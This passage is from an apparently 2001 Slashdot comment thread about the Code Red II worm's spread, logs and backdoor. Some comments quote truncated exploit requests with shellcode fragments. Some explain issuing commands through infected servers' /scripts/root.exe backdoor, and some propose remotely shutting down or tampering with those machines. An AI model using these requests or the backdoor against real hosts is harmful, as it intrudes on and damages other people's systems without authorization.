
      That is in addition of course, to the flood of Code Red 2's.

      I have now recieved more than double code red 2 attempts, just today, than I have _ever_ recieved code red 1 attempts.

    6. Re:A few more details by Anonymous Coward · · Score: 0

      Since part of the code seems to reboot the machine to get elevated privileges, I'd say it will eventually kill off the original worm.

      astfgl.

    7. Re:A few more details by Mnemia · · Score: 1

      I agree, although I am still getting some hits from the old variant... Possibly the two variants are actually competing for infectable machines. If so, that would be very interesting in a twisted sort of way...

      Darwinistic competition of computer code in the real world...

    8. Re:A few more details by Hulleye · · Score: 1

      from what i've read about this worm it's quite unlikely that this new version is, as you say, "phase two" of the original worm. the original worm was "given" the name CodeRed after it was released, whereas this one get's it from a comment placed within the source.

    9. Re:A few more details by dillon_rinker · · Score: 2

      Go to www.eeye.com. They did some extensive analysis of the worm's code.

    10. Re:A few more details by alcmena · · Score: 1

      The new one may still go unnoticed. For some reason "NNNN" generated a malformed URL error in the logs. The new one simply generates a file not found error. That means those who checked their error logs without also checking the access ones will now likely miss the new version.

    11. Re:A few more details by mcleodnine · · Score: 1

      Ditto here on the left Coast of Canada using @home and xDSL. Looks as if the DSL provider got scared/trashed by the new requests as it was out for five hours, thirty minutes after my first log incident. Might it be taking a harder bite out of the patched Cisco equipment?

      I also noticed a steady reduction of "NNNN" probes throughout the day - down to 1 - 2 per hour. Whether it kills, displaces or just overwhelms, it does reduce it.

      --
      one better than mcleodeight
    12. Re:A few more details by nebby · · Score: 5, Insightful

      I haven't done any analysis of the worm myself, but has anyone questioned the possibility that this new version is phase two of the original worm? Not the same code per say, but perhaps the old code red does something to tell the new code red to "come here" or something?

      The fact the old code red is turned off tells me that they might be linked to the same person/organization or something.. if I were some independant cracker I wouldn't bother getting rid of the old one since that's another thing which might break when I launch the new worm.

      --
      --
    13. Re:A few more details by Cruciform · · Score: 1

      Heh, sounds like what Morris intended years ago (89?) when he set that worm loose and got his math wrong. And it replicated thousands of times a second :)

    14. Re: A few more details by mutende · · Score: 2, Informative
      The new one may still go unnoticed. For some reason "NNNN" generated a malformed URL error in the logs. The new one simply generates a file not found error.

      The new one, the "XXXX" type, also generates a malformed URL -- just like the "NNNN" type does -- the malformedness being the double space between the "=a" and the "HTTP/1.0" parts.

      --
      Unselfish actions pay back better
    15. Re:A few more details by Anonymous Coward · · Score: 0

      ...whereas this one [gets its name] from a comment placed within the source...
      uh, why would we have the source?

      It's not a script.

    16. Re:A few more details by Anonymous Coward · · Score: 0

      I'm sure the v2 doesn't do anything to the root page. Are you sure you typed the correct GET commands?

  51. But does it actually *do* anything different? by EvilMagnus · · Score: 1
    ...or does it just have a different set of IPs that it targets?

    We're still talking about an IIS4/5/PWS vulnerability that just defaces the default web page and trys to propagate itself, right?

    --
    -EvilMagnus
    1. Re:But does it actually *do* anything different? by EvilMagnus · · Score: 1
      Eep. My bad. I should read the comments first...;-/

      Anyway, my class-C's been scanned >200 times by CodeRedII infected clients in the last 90 minutes. Yay.

      --
      -EvilMagnus
    2. Re:But does it actually *do* anything different? by ryanr · · Score: 2

      It installs a back door. (As indicated in the link referenced.)

    3. Re:But does it actually *do* anything different? by Anonymous Coward · · Score: 2, Informative

      "Antony Riley has further made a tentative confirmation that the new worm installs a back door that leaves the server wide open for attack (a command shell is available by using telnet to access the server)." from today's diary entry at a well known worm incident place (please don't post the url, I don't want them swamped; I already can't get thru to another place that posted an url that gives further details).

  52. Increased damage! skript kiddies are attacking! by Anonymous Coward · · Score: 0

    OMG.. I just found "Fux_Israel.html" on the root dir of one of the infected hosts.. After opening it, it contained just a blank page.. something tells me that there are numerous defacers using the backdoor to "fuxoring" with the system and installing new backdoors on them.. This CR2 is *really* worst than the first.. Just imagine CR3.. Looks like that from now on things will be worst for us (at least the outlook virus will most likely die).. I just dont want to imagine what would happen if numerous worms destructive as this one, but exploiting different vulnerabilities in different webservers would do.. who knows.. probably that would *really* bring down the internet..

    1. Re:Increased damage! skript kiddies are attacking! by Anonymous Coward · · Score: 0

      nah just the iis part of the internet. this is a bad thing?

  53. Re:Of course... by Paranoid · · Score: 1

    If they checked their logs, they'd see upwards of 300 infections daily anyway. At that point, its difficult for them NOT to be aware of the worm.

    More likely is that a lot of the machines are unattended, and/or their users are unaware of even HAVING IIS.

    --
    Paranoid
    Bwaahahahahaa.
  54. Aptly-named "Root Consulting" by inonit · · Score: 1
    Root Consulting is trying to give me the virus right now.

    Under "services," they list "firewalls."

    Awesome.

    1. Re:Aptly-named "Root Consulting" by RatOmeter · · Score: 1

      What IP address was attacking you?
      rootcon.com resolves to 208.131.0.34 and is
      running Apache.

  55. Here too by westfieldscientific · · Score: 1

    A log of attack attempts here over the last 3 days can be found here

    The patterns of frequency and source IPs speak for themselves. Interesting to note that I'm continuing to be attacked by both versions of the virus.

    Thanks to Apache, they don't achieve anything, but the waste of bandwidth is stupid and annoying.

    I'm thinking of getting in touch with doubleclick to negotiate advertising and make some money since my site is suddenly so popular.

    --
    give me a /home where the buffalo roam
    1. Re:Here too by TheMidget · · Score: 1
      > I'm thinking of getting in touch with doubleclick to negotiate advertising and make some money since my site is suddenly so popular

      Won't work, unless Code Red has suddenly become smart enough to click on banner ads...

  56. Re:Free r00t for all! by Malcontent · · Score: 2

    Well I was thinking more along the lines of.

    Industrial espionage, identity theft, blackmail, and general deltree /Y mayhem but whatever floats your boat. The last thing I'd want to do would be actually fix the idiots system.

    --

    War is necrophilia.

  57. Re:Now that is funny! by sharifi · · Score: 2, Interesting

    I tried to visit some of the infected sites in my web log, but most of them gave no response, until I got to http://202.81.246.51 which states: "If you can see this, it means that the installation of the Apache web server software on this system was successful." :)

  58. Re:Ooops bad paste. Take two. by cyberdonny · · Score: 2

    Actually, root.exe is just a copy of cmd.exe, as can be seeing by running a dir on c:\winnt\system32\cmd.exe. The different sizes of cmd.exe probably just mean that this is a slightly different version (service pack) of windows, that's all.

  59. Re:A proposal by whatnotever · · Score: 1

    Kiddies wouldn't bother with the IIS exploit, though, it's already been done for them. They would go straight for /scripts/root.exe. So if you just hit every host that sends the default.ida vulnerability, it's a pretty safe bet they're all compromised.

  60. Re:Free r00t for all! by Russ+Steffen · · Score: 1

    If I'm getting this right, if you just get root.exe all you'll get is a prompt that you can't do anything with. Try doing a get with arguments, like "GET /scripts/root.exe?dir".

  61. Re:@home preventative measures by IronChef · · Score: 2


    In my area, @home can't tell what's out. It takes many hours for an outage to make it onto "the board." If you call before this time, they will make you reboot the computer, reset the modem, etc etc. and then they will schedule a tech to come out. Because, again, let me repeat myself: they have no ability to monitor the network in real-time. I am comvinced that "the board" only shows outage data that they collect from outraged customers.

    (side note: the idiot techs always make you reboot... even though the modem's ability to sync to the network has NOTHING TO DO with the kind of computer it is attached to, or even indeed if the computer is ON or OFF. Sigh.)

    @home is a freaking circus. A monkey house.

    I actually prefer it that way, they are apparently too dense to notice all the servers I run in violation of the TOS.

  62. Which port to telnet to? by Sanity · · Score: 2

    My machine has received over 250 hits in the last few hours. I have tried to telnet to them (prot 25) but most are connection refused. Which port are you supposed to telnet to, and what do you say?

    1. Re:Which port to telnet to? by slothextreme · · Score: 1

      Port 25 is SMTP, port 23 is telnet. I've been port scanning those souls who hit my box, and most of them only have 21, 25, 80 and 135 opened. Maybe 10% had the 13 (daytime) and 17 (qotd) open. It seems the default it to allow anon ftp, so if you're really jones'n to see something try that.

    2. Re:Which port to telnet to? by Anonymous Coward · · Score: 0

      That's pretty much what you expect from some MCSE type who did a full bore IIS install on his cable-connected box (get HTTP, FTP, and SMTP by default. Thank god the SMTP server has relaying disabled.) Daytime/QOTD are optional parts of the NT/2K install.

      135 is used by MS-RPC. The fact that you get this means that the user has the insecure Windows networking stuff bound to his Internet adapter, but 137/138/139 is being filtered by the ISP. You might want to try 445, which is SMB with no NetBIOS. More fun ports for active directory too.

  63. Re:URM. Thjs is NOT good. GG Microsoft by kilrogg · · Score: 2, Interesting

    Is there a "shutdown -h now" equivalent with windows?

  64. Re:me too by mcleodnine · · Score: 3, Funny
    Several @home customers have written about slowed service today, but they're definitely not alone.

    Should read: Several @Home users reported that everything was moving along normaly. Most of thier friends giggled and left the room.

    --
    one better than mcleodeight
  65. Re:Code Red source available by Anonymous Coward · · Score: 0
    Don't hit the link. Pop-up hell.

    No pop up hell here. But then I have forsaken Java and Javascript. Life is good.

  66. Re:Now that is funny! by shrike99 · · Score: 1

    AND he lives on APACHE BLVD!!! now if that's not ironic, smack me.

    --
    "Give a man a fire and he's warm for a day, but set fire to him and he's warm for the rest of his life." Terry Pratchet
  67. Re:A few more details:It's a root trojan by alansingfield · · Score: 1
    You won't be able to get a Notepad window to pop up immediately on the remote server, unfortunately(sic)!

    The reason is that rootkit will be running as a child process of a service, and services are not normally allowed access to the user desktop.

    If the IIS W3svc service has been set up to use the LocalSystem account, it is possible to check the "Allow Service to interact with Desktop", but you have to deliberately do this. And it is impossible to grant the LocalSystem account anything more than pleb rights, so almost nobody uses this option. The IUSR_ account is what a default IIS box is configured to use.

    What you could do though, is set up a RunOnce entry in the registry to start Notepad. Then, when the user next logs on, they'll get the message!

  68. Apparently, not... by haggar · · Score: 1

    http://www.netcraft.com/survey/

    Around the Net

    Microsoft gains around five and a half per cent of web hosts this month, and almost 2% of active sites. Primarily this is a result of two large US installations converting from Solaris.
    The large free hosting company Namezero, hosted on the Exodus network, has migrated its front end systems to Windows 2000, as has part of the Network Solutions domain registration system. Network Solutions has moved physically from Digex, to Interland, [where Microsoft held a minority interest, prior to the sale to Micron] as part of the process.

    These large installations had previously been masking a general decline in Solaris share on the web, which is now down four percentage points over the last year. Additionally, the Network Solutions site was by far the largest Netscape-Enterprise installation in terms of numbers of hostnames, and one would expect that Netscape-Enterprise overall share will drop towards the 2-2.5% it has in the active sites analysis over the next few months.

    First .Net site spotted
    This months survey also found a site outside of microsoft.com offering Microsoft's .Net services. This is earlier than many people expected, however the site www.empowered.com is a Microsoft Gold Certified Partner and Microsoft itself has several sites using .Net, including uddi.microsoft.com.

    pre release of Windows .Net Server becoming quite widely deployed
    There are already between six and seven hundred sites running Microsoft-IIS/6.0 and Windows .Net Server, the operating system that will succeed Windows 2000 sometime next year. Windows .Net Server has had little media attention relative to .Net, and there has been no prior reporting of the availability of a pre release, but the sites running the Windows .Net pre-release are spread over several countries.

    --
    Sigged!
  69. Re:a quick fix by drsoran · · Score: 1

    Well, it isn't that unlikely that the people that were responsible for these servers were simply fired during the dot-bomb fallout and the people left didn't know or care anything about them and leave them running unattended. I think this is just another reason why you cannot churn out moronic MCSEs into the industry to replace experienced system administrators. Anybody caught dead using IIS after the last 20 root exploits really needs to have their head examined.

  70. Re:C:\dos C:\dos\run | run\dos\run by mcleodnine · · Score: 1

    25 - 30 per hour here on 24.x.x.x and same on 216.x.x.x.x.

    --
    one better than mcleodeight
  71. I'm not getting 24.x.x.x by Anonymous Coward · · Score: 0

    Mine are all coming in from 65.10.x.x

  72. Re:a quick fix by Saint+Aardvark · · Score: 5, Funny
    Fuck me...read a little farther down where it says that, based on random scans of the 359k IP addresses infected last time 'round, they estimate that thirty percent are still infected!

    What the fuck? What the fuck is going on? How the fuck is it that I can have old ladies calling me up at work (tech support for an ISP) and asking if the reason they can't pick up their email is because of the Code Red worm, 'cos they saw the press conference and, hey, they're wondering, and something like 105,000 separate IP addresses are still infected? Did the rapture happen when I wasn't looking, and God took the people responsible for these computers, those left behind couldn't find the passwords anywhere? How is this possible?

    (I know, I know; not everyone lives w/in viewing distance of CNN, default installations of MS whatever -- but still, this absolutely amazes me.)

  73. Comment removed by account_deleted · · Score: 1

    Comment removed based on user account deletion

  74. My subnet is hit by wilkinsm · · Score: 2

    I'm on a /128 cox at home subnet. It's normally very quiet on my subnet, but since this morning it's my firewall has been bouncing packets like crazy.

    I'm guess I'm going to have to put a packet sniffer on the other side of the wall and see what the hell is going on with this code red II.

    1. Re:My subnet is hit by matthewg · · Score: 2, Funny

      Wow, Cox has deployed IPv6 already? ;)

    2. Re:My subnet is hit by Anonymous Coward · · Score: 0

      Worse--you should see their commercials for pay-per-view. I think I'd have avoided the slogan/name "Cox in demand"...

    3. Re:My subnet is hit by Anonymous Coward · · Score: 0

      Cox at home? Is that anything like chix with dix?

  75. @home gettin' hit by Anonymous Coward · · Score: 0

    233 attempts so far.

  76. Re:Attempts here by codewolf · · Score: 1

    The ONLY thing that @HOME, or at least AT&T@HOME, scans for is the usage of news servers, and I think that is the least of their concerns. I'm sure they won't change their policy (and I hope they don't since I run many other servers off my @HOME connection). It's not the ISP's problem to monitor the usage of their clients unless it results in a bandwidth problem for them, or a legal problem for them providing a client the bandwidth (to use illegally). This still boils down to stupid users, stupid people. I've had over 20 times the amount of hits from this codered II worm then the first codered one last month. It's modified to attack cable modem users specifically, I'd assume, and rightfully so. Maybe it will shed light on the problems with installing microCrap(tm) products.

    --
    http://www.codewolf.com - Just good stuff to waste time
  77. Microsoft or security... by fanatic · · Score: 3, Funny

    ...Pick any one.

    --
    "that's not encryption - it's a new perl script that I'm working on..." - from some Matrix parody
  78. Re:A few more details:It's a root trojan by Anonymous Coward · · Score: 0

    ITYM rh 6.2

  79. We got your r00t right here by Anonymous Coward · · Score: 0

    wget http://64.131.175.145/mp3/index.html

    Probably best to view index.html in a text editor though. :-)

  80. Re:that's what i thought by Magic5Ball · · Score: 0, Redundant
    Fsck he's busy :-)

    2416418hfc132.tampabay.rr.com - - [05/Aug/2001:03:13:37 -0600] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858 %ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u 8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00 =a HTTP/1.0" 404 2911 "-" "-"
    --
    There are 1.1... kinds of people.
  81. Re:cost of bandwidth by Lonath · · Score: 1

    According to section 1343.4(d) of the DMCA, I quote: "...an entity may initiate a lawsuit regarding something in CyberSpace: The _Dangerous_ Internet, only if said entity has a net worth of over $500million, is on the list of Government Approved Plaintiffs, they're suing so they can "protect our children from pR0n and h4X0rz", and has brib^H^H^H^H contributed at least $4million to congressional and presidential campaigns during the last two election cycles..." and so forth and so on. You may be SOL unless you work for something on the approved list like the RIAA or MPAA. Sorry :(

  82. Re:Why don't they... by Genom · · Score: 2

    Easy. Make it so it isn't a true "worm".

    Make it so it patches against the exploit, then routes all attempted re-exploitation to a small CGI that uses the backdoor to disinfect the attacking system, and install the countermeasure.

    So...assuming you're getting hit with 30 requests an hour from 30 different IPs -- and each of those 30 is getting hit the same way -- the "fix" could propagate itself like wildfire, without being an "active" worm (seeking out hosts to disinfect), but instead being a "passive" worm (waiting for an infected computer to contact it, then disinfecting that computer, and passing on the "passive" disinfector).

    Problem being, it's still modifying the data on someone else's computer, without their knowledge or permission. I believe that makes it illegal -- even if it is working for "good" rather than for "evil".

  83. Release management by cyberdonny · · Score: 2

    Actually, the three variants of the initial worms (1 with broken random number generator, 2 with a fixed one) can be considered roughly the same release. Indeed, apart from the obvious fixes, most code was rigourously identical. So, let's call those 1.0, 1.1 and 1.2. However this one is entirely different, apart from the exploit it uses, and the name CodeRedII. Thus the use of version 2.0 does seem to be justfied.

  84. Yet another mutant Code Red worm by Swordfish · · Score: 1
    There seems to be another mutant variation out there, using HTTP/1.1. Here's a sample.

    c178.h203149139.is.net.tw - - [06/Aug/2001:00:22:44 +0930] "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090% u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9 090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u000 0%u00=a HTTP/1.1" 400 - "-"

    No more "GET", notice.

    Now what does this one do?

    1. Re:Yet another mutant Code Red worm by Anonymous Coward · · Score: 0

      time to switch from:
      egrep 'default.ida'
      to:
      egrep 'NNNNN|XXXXX'
      -----
      cat access_log* | egrep '(default.ida)' | wc -l
      738

      cat access_log* | egrep '(NNNNN|XXXXX)' | wc -l
      744

      cat access_log* | egrep '(NNNNN|XXXXX)' | gawk '{print $1}' | sort -n | uniq | wc -l
      536

      cat access_log* | egrep '(NNNNN|XXXXX)' | gawk '{print $1}' | sort -n | uniq -d | wc -l
      42

      One IP has hit me 27 times!

  85. Re:Promise me you'll only use this for good. by Kukuman · · Score: 1

    I found something very very similar to this on another server. It was the index.htm file, not a seperate one.

  86. Re:Seems pretty light in 128.x.x.x by meta-monkey · · Score: 1

    Duh. I never said it was a Class A. A class A network has a 0 as the MSB, and a class B has a one. 128.x.x.x is 10000000.x.x.x in binary. However, the article mentioned that the worm stuck either within its own class A or its own class B, and I was merely commenting on the sitution in my own slice of class B heaven.

    --
    We don't have a state-run media we have a media-run state.
  87. Re:Promise me you'll only use this for good. by nebby · · Score: 2

    Holy shit.

    In the root directory of the drive there's an HTML file with the "Fuck USA goverment" tag or whatever. I am not doing anymore snooping.

    The shit has hit the fan, ladies and gents.

    --
    --
  88. Re:Hypothesis by aozilla · · Score: 1

    Like someone said elsewhere, the best (and only I think) way to partially fix this problem is to write a variant of the worm (Code Green? :)) that fixes all the servers before it gets out of hand.

    I bet if this was an apache/Linux bug that variant would be out already. Seriously.

    --
    ok then your [sic] infringing on my copyright! Could you as [sic] me next time before STEALING my comments for your own?
  89. Re:If this can't break Microsoft's back nothing wi by Jucius+Maximus · · Score: 1
    "WHY doesn't microsoft NOTIFY me of the risks of using its OS?"

    Maybe you should subscribe to the MS Product Security Notification mailing list.

  90. So Thats It! by nexex · · Score: 1

    No wonder my dsl is so slow tonight! :)

    --
    Winter 2010: With Glowing Hearts
  91. Trained Monkey by Greyfox · · Score: 2
    So you see, with Automatic Volume Recognition your operators can pre-mount labelled tapes on any online tape drive and they'll be allocated to the correct jobs. But this doesn't mean you can hire CHIMPANZEES to run your systems!...
    - IBM Instructor -- "Introduction to System/360," circa 2Q 1966

    Yeah, it's much harder to install Apache. You have to remember how to type "apt-get install apache". Fortunately the Debian people tend to stay pretty well ahead of the security issues, so if you apt-get update ; apt-get upgrade on a regular basis, any newly discovered vulnerabilities will get fixed. Not that Apache's had any major vulnerabilities in a long, long time. Maybe the solution would be to port apt to Windows...

    --

    I'm trying to teach myself to set people on fire with my mind... Is it hot in here?

  92. Re:Only attempts IPs running web servers? by LinuxHam · · Score: 1

    I'll try to take this one...

    Snort has to inspect traffic as its coming in. If a machine on your subnet doesn't have port 80 open, then the initial connection will be refused.. therefore the GET request will never be sent, and snort cannot log the attempt.

    Snort isn't going to report ALL connection attempts to port 80 on your subnet, only CodeRed infection attempts, which can ONLY occur after a connection to port 80 was successfully made.. get it?

    I opened port 80 on my firewall, but used xinetd to route all incoming connections to netcat, a program that just routes all incoming data to /dev/null. That way, the request will actually come into my firewall (and go directly to /dev/null) so that snort will be able to watch that data as it comes in.

    CodeRed can't send the infection attempt until it connects to port 80. Clear enough for you?

    --
    Intelligent Life on Earth
  93. Re:what MS has done. by jon_c · · Score: 1

    DAMIT! that JUST added that, i swear!

    --
    this is my sig.
  94. Re:A few more details:It's a root trojan by Sam+Ruby · · Score: 1
    According to this, the system will proceed to reinfect itself the next time explorer is launched (essentially, the next time someone logs in).

    Also, once reinfected (by whatever means), I would presume that the rename would fail.

    Renaming c:\explorer.exe should help.

    --
    - Sam Ruby
  95. CodeRedNeck by RoyalTS · · Score: 3, Interesting

    Check out this heise.de article (in German, sorry)!!! Somebody apparently programmed a little Linux tool that may be able to slow the spread of the worm down a little. The idea was first introduced in the incidents.org forum. May be worth a look.

  96. Re:URM. Thjs is NOT good. GG Microsoft by Anonymous Coward · · Score: 0

    "rundll.exe user.exe,ExitWindows", dont forget to do a echo "I have shut you down you were spreading coderedII" > c:\\whyIshutYOUdown.txt

  97. Re:@home preventative measures by egburr · · Score: 1
    Apparently @home is monitoring it's customers for Code Red.

    They're not doing a very good job of it, because about 30% of the code red hits on my server today are from @home addresses.

    --

    Edward Burr
    Having a smoking section in a restaurant is like having a peeing section in a swimming pool.
  98. Re:If this can't break Microsoft's back nothing wi by Anonymous Coward · · Score: 0
    Medicines and drugs aren't legal unless they're fully tested and approved

    Zolof is considered to be the cause of Phill Hartman's wife's death rampage, and the school shootings in Colorado and Atlanta. Watch TV for the commercials for a maddening hell where you want to kill those around you.

  99. Seems pretty light in 128.x.x.x by meta-monkey · · Score: 1

    Checking my web logs, I only see 4 Code Red IIs. Of course, I'm swamped with Code Red the First attacks. Thankfully, running Apache, all my servers do is say "huh?" and log it. Linux condoms are great for stopping Microsoft transmitted diseases.

    --
    We don't have a state-run media we have a media-run state.
    1. Re:Seems pretty light in 128.x.x.x by Anonymous Coward · · Score: 0

      Yeah, but a class B is also somehthing such as 128.17.x.x which is a different class B from 128.16.x.x.

    2. Re:Seems pretty light in 128.x.x.x by jgaynor · · Score: 1

      Learn your Ranges, Buddy. 128.x.x.x is a class B. Different search and attack patterns than a full-blown A.

  100. Re:If this can't break Microsoft's back nothing wi by Anonymous Coward · · Score: 0

    Damn. I knew I should have went with Geico!

  101. Are they talking about MTDEW? by niXter · · Score: 0
  102. Feels like the Calm before the storm by Anonymous Coward · · Score: 0

    After reading the post. I installed ZoneAlarm just for fun on the win2k box here at home (no IIS is not installed :)). In the last 30 minutes I have had 20 hits to port 80, all of them web sites. When checked on Netcraft all were IIS/NT sites. My guess is its Code Red II. Most hits coming from my Subnet 203.79.xxx.xxx, hidden down here in lill old New Zealand. Most of the sites are in an unreadable Asian language. So I'm guessing Asia shares part of the subnet that my ISP uses. Be interesting to see whats in the news tomorrow morning when I get to work. *gets all excited*

  103. People who don't know they are running IIS by Proud+Geek · · Score: 2

    Someone should tell all those idiots out there who pirate Windows 2000 that they should pirate "Windows 2000 Workstation" and not "Windows 2000 Server" because they're all going to get themselves own3d that way.

    --

    Even Slashdot wants to hide some things

    1. Re:People who don't know they are running IIS by throx · · Score: 2

      FYI, Win2k Professional also runs IIS and would be susceptible to this attack if it is enabled (and unpatched).

      --

      Fear: When you see B8 00 4C CD 21 and know what it means

    2. Re:People who don't know they are running IIS by throx · · Score: 2

      You are wrong.

      Go to "Add/Remove Programs" in "Control Panel" (which should be on your Start Menu). Click on "Add/Remove Windows Componenets". The second item on the list will be "Internet Information Services (IIS)".

      I didn't pirate anything - they come on my MSDN subscription. Perhaps you should check your facts a little before you post and make an utter fool of yourself?

      You should now go around all those Pro machines you installed and remove the code red worm from them - it's admins like you that cause these things to spread in the first place. I can't believe you didn't even know what you were installing!!

      As for "no servers on Pro" - don't be so stupid and ignorant. File and Print obviously is installed, IIS is installed (as you now know) and you can install other things like MMQ, SMTP, FTP and a whole stack of others if you want.

      --

      Fear: When you see B8 00 4C CD 21 and know what it means

    3. Re:People who don't know they are running IIS by Anonymous Coward · · Score: 0

      Windows 2000 Pro does not come with any servers, definitely not IIS, and definitely not by default, and I haven't seen any option to install it off the CD. You're smoking crack. Pro is the workstation version, it doesn't come with servers. I've installed it dozens of times, off different media (pre and post-sp1), and I haven't seen any servers. Maybe _you_ should have pirated Pro instead of Server?

    4. Re:People who don't know they are running IIS by einhverfr · · Score: 2
      Someone should tell all those idiots out there who pirate Windows 2000 that they should pirate "Windows 2000 Workstation" and not "Windows 2000 Server" because they're all going to get themselves own3d that way.

      Well, not so fast. Many people select the wrong option at install on Win 2k pro and run IIS on those machines unknowingly as well.

      --

      LedgerSMB: Open source Accounting/ERP
    5. Re:People who don't know they are running IIS by Dmitry+Skylarov · · Score: 0
      You fucking moron, you probably can't even afford Windows 2000 Professional. Pro does come with IIS, but you can only run a limited number of instances, and it isn't installed by default. In fact, it's not even mentioned during the install. But it is on the CD... I should know -- I'm running it right now. I love it when dumbasses (like yourself) think they're all bad but can't even admin fucking Windows boxes. Loser... if you can't figure out how to install it, maybe you should switch to MacOS. Heh.

      My copies of Pro and Server aren't pirated, by the way. Unlike yourself, I'm a paid computer geek.

      --

      ----
      Please, I are begging you! To save Dmitry from teh jail!

  104. Re:MSNBC Coverage by tswinzig · · Score: 2

    Yikes... their opening sentence does not bode well for the technical content in the rest of the article...

    "IT WAS NOT IMMEDIATELY clear if the new worm was a variant of Code Red or just a nastier copycat..."

    Mmmkay...

    --

    "And like that ... he's gone."
  105. Re:The solution ? by pirodude · · Score: 2

    might I suggest doing root.exe last? you dont wanna close yout hole for fixing the stuff :)

  106. Re:As of about 9:30 AM Eastern 20010805 by Anonymous Coward · · Score: 0

    I've got about 5000 hits for both versions combined since yesterday morning on the 10 virtual sites on my box. Sheesh. This is bad (for IIS users that is).

  107. Re:A few more details:It's a root trojan by greenrd · · Score: 1
    But explorer.exe is the GUI shell - including the Start menu - what would happen when someone logged in? I'd imagine "Fatal error explorer.exe not found [Shutdown]" - I'm not going to risk it on my box.

  108. Of course... by Jason+W · · Score: 3, Insightful
    If you get tired of seeing the requests, you could always shut the server down (the requesting server of course, not yours :).

    Might not remove the worm, but at least gets the "admin" (ha) to pay some attention. Maybe make a request for YOU_HAVE_THE_CODE_RED_WORM_YOU_MORON.HTML right before you do it in case they check the logs :)

    1. Re:Of course... by Anonymous Coward · · Score: 0

      Most of the servers in my logs do not respond to "GET /" at all.
      And the DoS exploit does not take down the one that responds...I guess shell code is invalid because this server has some SP-s applied or something.
      Probably a good old fashioned combined 'targa' attack would be better, but it's not worth it to me, hehe.

  109. From the Windows 2000 EULA by Waffle+Iron · · Score: 3, Interesting
    This Limited Warranty is void if failure of the Product has resulted from accident, abuse, misapplication, abnormal use or a virus.

    Interesting.
    Also...

    Some states/jurisdictions do not allow the exclusion or limitation of incidental or consequential damages, so the above limitation or exclusion may not apply to you.

    Does this really mean anything? Could somebody in some state conceivably sue them successfully? The rest of the EULA is an absolute, complete, iron-clad denial of any liability whatsoever. This last sentence is the only shred of hope I could find.

    OTOH, be careful what you wish for. The GPL has similar disclaimers...

    1. Re:From the Windows 2000 EULA by Random+Walk · · Score: 1
      German law has provisions against overbroad disclaimers of warranty. However, you might have problems to sue, first because the product (IIS) might be just as bad as the market standard (read: you get what you should expect), and second, because MS has provided a patch long ago.

      And yes, the GPL disclaimer of warranty is void in Germany. However, as coder, giving away the app for free, you are only responsible for malicious intent and gross neglicience (like deleting the whole disk if the user only wants to delete a single file). Things are different - and more liability is put onto you - if your GPL app would be part of a buisiness plan (think GPL install software of commercial Linux distribution, coded on behalf of the distributor).

    2. Re:From the Windows 2000 EULA by Cainam · · Score: 1

      Of course the GPL has similar disclaimers. Microsoft *sells* software for a *profit* and it doesn't include a warranty. Are you implying that people who write GPLed code should give away software *and let people sue them* if it doesn't work right?

    3. Re:From the Windows 2000 EULA by Holger+Spielmann · · Score: 1

      Some states/jurisdictions do not allow the exclusion or limitation of incidental or consequential damages, so the above limitation or exclusion may not apply to you.

      Does this really mean anything?


      Yep. I'm in Germany, here you can't completely license away the liability for your products, even if you donate them - you are always liable in case of intent (i.e. given away trojans) or gross negligence (when you could have expected damage).
      Guess this was the reason that the GPL got a similar clause, too.

      Could somebody in some state conceivably sue them successfully?

      Dunno, IANAL. But would be a nice try ... ;)

    4. Re:From the Windows 2000 EULA by rgmoore · · Score: 2

      The status of the disclamers in any EULA is a legal gray area. There just isn't enough case law to be really confident about just how much would fly in court. It's my understanding that some of the things they're trying to disclaim (like the limitation on incidental and consequental damages, or voiding of implied warrant of merchantability) can't be disclaimed even if the buyer wanted to disclaim them for some reason. Of course finding out in court which things were and weren't legal could be pretty interesting and expensive in legal fees. Part of the goal of UCITA was to change the law so that those ridiculous disclaimers would be legally defined to be correct- software merchants would be allowed to disclaim any liability they felt like. That's why it's such a bad idea.

      --

      There's no point in questioning authority if you aren't going to listen to the answers.

    5. Re:From the Windows 2000 EULA by Waffle+Iron · · Score: 2
      Are you implying that people who write GPLed code should give away software *and let people sue them* if it doesn't work right?

      No. I'm saying that if someone manages to collect from MS regarless of what their EULA says, then free software authors could theoretically face similar liablilities regardless of what the GPL says. It's just an observation.

    6. Re:From the Windows 2000 EULA by mOdQuArK! · · Score: 1
      to collect from MS regarless of what their EULA says, then free software authors could theoretically face similar liablilities regardless of what the GPL says. It's just an observation.

      They might get a little more leeway from the justice system just 'cause they're not charging anyone for the product.

    7. Re:From the Windows 2000 EULA by nmos · · Score: 1

      I agree however shouldn't the fact that the "customers" of GPLd software have access to the source take some of the liability off of the origional author(s)? If the customer really wants to know if the software does what he/she wants they DO have the option of auditing it themselves or paying someone else to do it for them.

  110. I made a rookie mistake in my story submission by Brian+Stretch · · Score: 4, Informative

    It just occurred to me to look up the definition of Class A/B/C addresses, and yup, I used the terms wrong in my story submission (argh!). What I meant to say was that when the worm generates addresses to scan, it appeared to always keep the first octet and a little over half the time (137 of 224 scans in my case) it keeps the second octet as well. That's no longer precisely true: I've since logged one scan from 152.72.x.x (grep XXXX access_log | grep -v 24.). And the high number of scans from within the first two octets may have more to do with that being a block of cable modem addresses rich in vulnerable IIS machines than anything else.

    And now we know these poor bastards have been rootkitted. There has to be a way to use this to warn them?

    1. Re:I made a rookie mistake in my story submission by thogard · · Score: 1

      since class A/B/C have been dead for a long time, the use of "class c" to refer to a /24 is quite common even if they aren't in the "class c" area.

  111. Re:cisco 675 hanging. by Anonymous Coward · · Score: 0

